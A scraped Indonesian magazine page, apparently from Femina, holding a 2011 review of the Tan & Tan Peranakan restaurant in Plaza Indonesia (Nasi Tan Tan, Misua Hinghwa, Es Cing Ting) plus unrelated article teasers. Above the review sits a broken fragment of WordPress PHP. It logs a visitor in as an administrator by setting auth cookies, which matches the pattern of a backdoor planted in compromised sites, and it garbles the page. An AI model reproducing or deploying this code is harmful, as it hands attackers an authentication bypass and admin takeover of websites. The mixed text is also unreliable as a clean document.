Rasa Peranakan Dua Sahabat

user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */

Food Review

19 Jul 2011

Tan & Tan, sebuah resto keluarga pengusung masakan Cina peranakan. Interiornya minimalis, dengan perpaduan warna merah putih yang terlihat sangat modern. Resto berusia dua tahun ini memperoleh nama uniknya lewat dua pendiri yang ternyata adalah sahabat yang kebetulan bermarga sama, Tan.

Salah satu rasa cinta mereka terhadap masakan peranakan tertuang lewat Nasi Tan Tan. Aroma nasi goreng Asia (tak melibatkan kecap manis) ini sudah tercium jauh sebelum nasi tiba di meja. Aroma petai yang menggelitik nafsu makan! Potongan lapciong (sosis babi) dan telur orak-arik hadir di antara bulir-bulir nasi panas ini. Keberadaan lapciong-lah yang tampaknya menjadi faktor kegurihan sepiring nasi andalan Tan & Tan. Jika Anda tidak mengonsumsi daging babi, ganti lapciong dengan daging ayam.

Makanan yang juga sering dipesan di sini adalah Misua Hinghwa. Misua merupakan mi Cina, dengan bentuk mendekati bihun. Mi lalu disiram dengan kuah kaldu ayam yang rasanya tak kelewat gurih. Sebagai ‘isian’ misua, terdapat daging ayam, tahu, bakso ikan, udang, dan dadar telur dengan taburan kacang tanah. Rasanya memang kompleks, namun tetap enak.

Sebagai penutup makan siang, pilihan bisa jatuh pada Es Cing Ting. Es campur ini berisi aneka bahan, seperti biji teratai, jamur es, kurma cina, dan jali (barley).

Lokasi: Plaza Indonesia, Jl. M.H. Thamrin Kav 28-30, lantai 3. Telp: (021) 31931982. Jam buka: 10.00 – 22.00 WIB. Harga*: Rp8.000 – Rp60.000 (belum ditambah pajak 15%). Suasana: Minimalis dengan dominasi warna merah dan putih.

FF

Clean Cut Emporio Armani

Aksi Sosial SOPHIE

Terbesar! 320 Jenama Ikut Meramaikan Brightspot Market 2025

Future Archive jadi tema Brightspot Market 2025 yang digelar pada 29 Mei-1 Juni dan 5-8 Juni 2025.

Besok, Hidangan dari Buku Pusaka Rasa Nusantara Karya Chef Ragil Ada di Conrad Bali

Memperkenalkan buku istimewa, menunjukkan ke warga Bali akan kayanya Nusantara.

Disney On Ice: Find Your Hero Bakal Tampil di Jakarta dan Surabaya

Siapa yang sudah rindu karakter Disney yang meliuk-liuk di atas es? Siapkan dirimu untuk kehadiran Disney On Ice presents Find Your Hero.

recommended

Menikmati Tradisi yang Terus Bergerak di SU MA Volume 6, Passage

Chef Brendon Chen dan Chef Ryan Kim membawa SU MA ke babak berikutnya dan Femina diajak mencoba.

VW Tour, Movie Night, hingga Floating Dinner, Cara Menikmati Sisi Lain Kamandalu Ubud

Aktivitas seru yang membuatnya jadi destinasi menarik bersama para bestie!

5 Cara Lebih Mindful Menghadapi Situasi Saat Ini

Dunia lagi ramai, kamu nggak harus ikut panik.

Penting untuk Tim Rebahan, 3 Hal Wajib Dilakukan Saat Weekend Selain Beres-beres

Lalu, harus ngapain, dong?

Kosha Mangsho, Semakin Lama Dimasak Semakin Sedap!

Kuahnya cenderung kental, gelap, dan kaya rempah, berbeda dengan kari India Utara yang kuahnya lebih encer.

5 Cara Menikmati Tengah Minggu Meski Lagi Sibuk-sibuknya

Belum juga akhir pekan, tapi kamu keburu Lelah fisik dan mental?

about

Femina is a magazine for smart, independent, modern Indonesian women.

digital magazine

Available at :

(021) 250 333 28
langganan@pranagroup.id